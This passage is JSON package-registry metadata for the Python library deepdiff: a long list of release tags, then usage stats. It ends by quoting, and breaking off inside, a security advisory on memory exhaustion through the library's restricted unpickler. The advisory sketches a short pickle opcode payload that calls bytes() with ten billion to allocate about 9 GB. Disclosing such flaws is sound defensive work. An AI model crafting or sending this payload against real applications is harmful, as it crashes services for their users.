ub/repositories/qlustered%2Fdeepdiff/tags/6.3.0/manifests"},{"name":"6.2.3","sha":"1353b723f8faa3271d7572f0a54c5074547e257d","kind":"tag","published_at":"2023-01-06T05:00:31.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/6.2.3","html_url":"https://github.com/qlustered/deepdiff/releases/tag/6.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@6.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.2.3/manifests"},{"name":"6.2.2","sha":"277ed776d9fcffbe21ac2052e5097268cbb589b7","kind":"tag","published_at":"2022-12-11T22:15:40.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/6.2.2","html_url":"https://github.com/qlustered/deepdiff/releases/tag/6.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@6.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.2.2/manifests"},{"name":"6.2.1","sha":"093949f7be4f3e6fecf38a35b3a535955a8c6beb","kind":"commit","published_at":"2022-10-18T00:56:15.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/6.2.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/6.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@6.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.2.1/manifests"},{"name":"6.1.0","sha":"e916b5f6c607a722f3ace9d84189688a808ab37b","kind":"commit","published_at":"2022-08-28T02:48:24.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/6.1.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/6.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@6.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.1.0/manifests"},{"name":"6.0.0","sha":"ca8e58ee0a4fb9c855ef6c925d3c86227c538d4b","kind":"commit","published_at":"2022-08-14T01:49:40.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/6.0.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/6.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@6.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.0.0/manifests"},{"name":"v5.8.2","sha":"81341e2827d083429bcdfb4617cd40e1188bbdb7","kind":"commit","published_at":"2022-05-17T06:26:05.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v5.8.2","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v5.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v5.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v5.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v5.8.2/manifests"},{"name":"v5.8.1","sha":"9b70b2b5f17e345cb00aef74db7169b53f0c22e8","kind":"commit","published_at":"2022-05-13T06:41:53.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v5.8.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v5.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v5.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v5.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v5.8.1/manifests"},{"name":"5.8.0","sha":"9c4dade2deae01307f4fd4ecf8a917d7fdbc5375","kind":"tag","published_at":"2022-04-10T06:23:13.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/5.8.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/5.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@5.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.8.0/manifests"},{"name":"5.7.0","sha":"f2ffdb83b2993f4f0bb7e854620f0acd0bf6339e","kind":"tag","published_at":"2021-12-17T19:12:40.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/5.7.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/5.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@5.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.7.0/manifests"},{"name":"5.6.0","sha":"06faa820bb83b1eac2e466b44e30dc86307895cc","kind":"commit","published_at":"2021-10-13T06:31:56.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/5.6.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/5.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@5.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.6.0/manifests"},{"name":"5.5.0","sha":"bc1ab6ae1332de93039e65ac280045674987fc5d","kind":"commit","published_at":"2021-04-29T06:20:59.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/5.5.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/5.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@5.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.5.0/manifests"},{"name":"5.3.0","sha":"2b04c553d3ed9f27a99ffe965450c2e7c2336da6","kind":"commit","published_at":"2021-04-16T23:16:30.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/5.3.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/5.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@5.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.3.0/manifests"},{"name":"5.2.3","sha":"5b66b96f1fa63f8ecc3b267e4a65c552df7d0190","kind":"commit","published_at":"2021-02-16T20:18:34.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/5.2.3","html_url":"https://github.com/qlustered/deepdiff/releases/tag/5.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@5.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.2.3/manifests"},{"name":"5.2.2","sha":"c6fa94ff7987eed0254e7bb124831cfda3b00fa7","kind":"commit","published_at":"2021-01-15T03:16:54.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/5.2.2","html_url":"https://github.com/qlustered/deepdiff/releases/tag/5.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@5.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.2.2/manifests"},{"name":"5.2.1","sha":"2451bf36f88b33c834cac493697dc6f1296c65af","kind":"commit","published_at":"2021-01-01T07:41:51.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/5.2.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/5.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@5.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.2.1/manifests"},{"name":"5.0.2","sha":"df5f49046b3c39673003968fc484a6a733b24abc","kind":"commit","published_at":"2020-07-23T17:46:48.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/5.0.2","html_url":"https://github.com/qlustered/deepdiff/releases/tag/5.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@5.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.0.2/manifests"},{"name":"5.0.0","sha":"15a99abefd93de22367f1bb9fec228b4dd0675f6","kind":"commit","published_at":"2020-06-23T04:19:56.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/5.0.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/5.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@5.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/5.0.0/manifests"},{"name":"4.3.2","sha":"af1a0d4b4d5ea91e65d306e28ed4297718b77a9a","kind":"commit","published_at":"2020-03-19T01:55:43.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/4.3.2","html_url":"https://github.com/qlustered/deepdiff/releases/tag/4.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@4.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.3.2/manifests"},{"name":"4.3.1","sha":"3b3a067c43f775549a01f76a0e62b96233b5e7f4","kind":"commit","published_at":"2020-03-11T21:44:21.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/4.3.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/4.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@4.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.3.1/manifests"},{"name":"4.2.0","sha":"9b09935cd46b784529667135463c4f4a29a60bd3","kind":"commit","published_at":"2020-01-30T21:32:11.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/4.2.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/4.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@4.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.2.0/manifests"},{"name":"4.0.7","sha":"269fa49e86d9c160d925376ce1239d7504a8f330","kind":"commit","published_at":"2019-07-12T23:05:12.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/4.0.7","html_url":"https://github.com/qlustered/deepdiff/releases/tag/4.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@4.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.0.7/manifests"},{"name":"4.0.6","sha":"a66879190fadc671632f154c1fcb82f5c3cef800","kind":"commit","published_at":"2019-04-13T01:06:22.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/4.0.6","html_url":"https://github.com/qlustered/deepdiff/releases/tag/4.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@4.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.0.6/manifests"},{"name":"4.0.5","sha":"fa3b37399ef53d9cc75f81ca6a8e7e4f3c1a516b","kind":"commit","published_at":"2019-04-07T07:46:58.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/4.0.5","html_url":"https://github.com/qlustered/deepdiff/releases/tag/4.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@4.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.0.5/manifests"},{"name":"4.0.4","sha":"b6afc83cd47296b0a1d68437a7b1fdd1a689659c","kind":"commit","published_at":"2019-04-05T06:55:41.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/4.0.4","html_url":"https://github.com/qlustered/deepdiff/releases/tag/4.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@4.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.0.4/manifests"},{"name":"4.0.0","sha":"885a5d5fb16622a4fce1e79bb273dd8d44a6704f","kind":"commit","published_at":"2019-03-19T10:18:57.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/4.0.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/4.0.0/manifests"},{"name":"v3.3.0","sha":"103a20192aa1c900863db327bd522c04418de94a","kind":"tag","published_at":"2017-06-30T21:47:42.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v3.3.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v3.3.0/manifests"},{"name":"v3.2.1","sha":"d4918e17c555df1b46827f865c5c105097199f80","kind":"tag","published_at":"2017-05-29T05:49:30.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v3.2.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v3.2.1/manifests"},{"name":"v3.2.0","sha":"257c3b46f4cc4c7f1769e85f98e96a7c18307b0e","kind":"tag","published_at":"2017-04-12T18:00:16.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v3.2.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v3.2.0/manifests"},{"name":"v3.1.2","sha":"2e2f1621d2a6d28d7449431fa60b507046420127","kind":"tag","published_at":"2017-03-10T01:45:56.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v3.1.2","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v3.1.2/manifests"},{"name":"v3.1.1","sha":"49ec7cfce26e240ec9ac09d75bfbe3f680773bf7","kind":"tag","published_at":"2017-03-04T21:49:15.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v3.1.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v3.1.1/manifests"},{"name":"v3.0.0","sha":"4c67c0491c95c7b86ab109a75110112dea789303","kind":"tag","published_at":"2017-01-27T18:13:02.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v3.0.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v3.0.0/manifests"},{"name":"v2.5.3","sha":"ec30c3d58400fdc3116992477aa3983acc9614bb","kind":"tag","published_at":"2016-12-05T20:03:35.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v2.5.3","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v2.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v2.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v2.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v2.5.3/manifests"},{"name":"v2.5.2","sha":"2a5ee8da0b08e0e37bb6a764507c0382e25b4c97","kind":"tag","published_at":"2016-12-05T03:45:03.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v2.5.2","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v2.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v2.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v2.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v2.5.2/manifests"},{"name":"v2.5.0","sha":"da3333f27043fb6906358b7b7136e8d09a5f8d9c","kind":"tag","published_at":"2016-08-18T01:42:15.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v2.5.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v2.5.0/manifests"},{"name":"v2.1.2","sha":"877234a77465617d5118f1638aff28400ee90fd8","kind":"tag","published_at":"2016-08-09T23:11:28.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v2.1.2","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v2.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v2.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v2.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v2.1.2/manifests"},{"name":"v2.1.1","sha":"086f0fe9d69c861f5a01975360ece0b5e3aa76c0","kind":"tag","published_at":"2016-08-08T18:13:42.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v2.1.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v2.1.1/manifests"},{"name":"v2.1.0","sha":"fc836f7a0a7afe4d07220fe33c97e30f792a29ba","kind":"tag","published_at":"2016-08-08T08:22:07.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v2.1.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v2.1.0/manifests"},{"name":"v1.5.0","sha":"f021f517e52d4230d245cb6d1b994c2184f02e6a","kind":"tag","published_at":"2016-07-02T01:40:54.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v1.5.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v1.5.0/manifests"},{"name":"v1.2.0","sha":"b9ce621ad237842b762e178c2fdd70042f235de8","kind":"tag","published_at":"2016-06-12T02:19:38.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v1.2.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v1.2.0/manifests"},{"name":"v1.0.1","sha":"8d1267e9df7faf439eea0662be493a333b40beda","kind":"tag","published_at":"2016-03-15T20:49:45.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v1.0.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v1.0.1/manifests"},{"name":"v0.6.1","sha":"10c0debca3649ff9a4ac2fffea7fad596e5e97a0","kind":"tag","published_at":"2015-12-14T00:36:11.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v0.6.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v0.6.1/manifests"},{"name":"v0.5.6","sha":"3f09562b6e78facb7bac82dbbe9dbcb0b9e22768","kind":"tag","published_at":"2015-08-11T23:12:36.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v0.5.6","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v0.5.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v0.5.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v0.5.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v0.5.6/manifests"},{"name":"v0.5.5","sha":"6e92f46827739b5517cc47b24cc16f672805a669","kind":"tag","published_at":"2015-07-26T07:58:25.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v0.5.5","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v0.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v0.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v0.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v0.5.5/manifests"}]},"repo_metadata_updated_at":"2026-08-23T12:22:42.897Z","dependent_packages_count":378,"downloads":79538177,"downloads_period":"last-month","dependent_repos_count":2058,"rankings":{"downloads":0.06687524905605291,"dependent_repos_count":0.24354141585584874,"dependent_packages_count":0.0718387968975113,"stargazers_count":1.646970623631306,"forks_count":3.6515717935313323,"docker_downloads_count":0.08289091949712842,"average":0.9606147997448633},"purl":"pkg:pypi/deepdiff","advisories":[{"uuid":"GSA_kwCzR0hTQS01NGpqLXB4OHgtNXc1cc4ABT1J","url":"https://github.com/advisories/GHSA-54jj-px8x-5w5q","title":"DeepDiff has Memory Exhaustion DoS through SAFE_TO_IMPORT","description":"### Summary\n\nThe pickle unpickler `_RestrictedUnpickler` validates which classes can be loaded but does not limit their constructor arguments. A few of the types in `SAFE_TO_IMPORT` have constructors that allocate memory proportional to their input (`builtins.bytes`, `builtins.list`, `builtins.range`). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call `pickle_load` with untrusted data.\n\n### Details\n\nCVE-2025-58367 hardened the delta class against pollution and remote code execution by converting `SAFE_TO_IMPORT` to a `frozenset` and blocking traversal. `_RestrictedUnpickler.find_class` only gates which classes can be loaded. It doesn't intercept `REDUCE` opcodes or validate what is passed to constructors.\n\nIt can be exploited in 2 ways.\n\n**1 - During `pickle_load`**\n\nA pickle that calls `bytes(N)` using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override `load_reduce` so any allowed class can be called.\n\n```\nGLOBAL builtins.bytes      (passes find_class check — serialization.py:353)\nINT    10000000000          (10 billion)\nTUPLE + REDUCE             → bytes(10**10) → allocates ~9.3 GB\n```\n\n**2 - 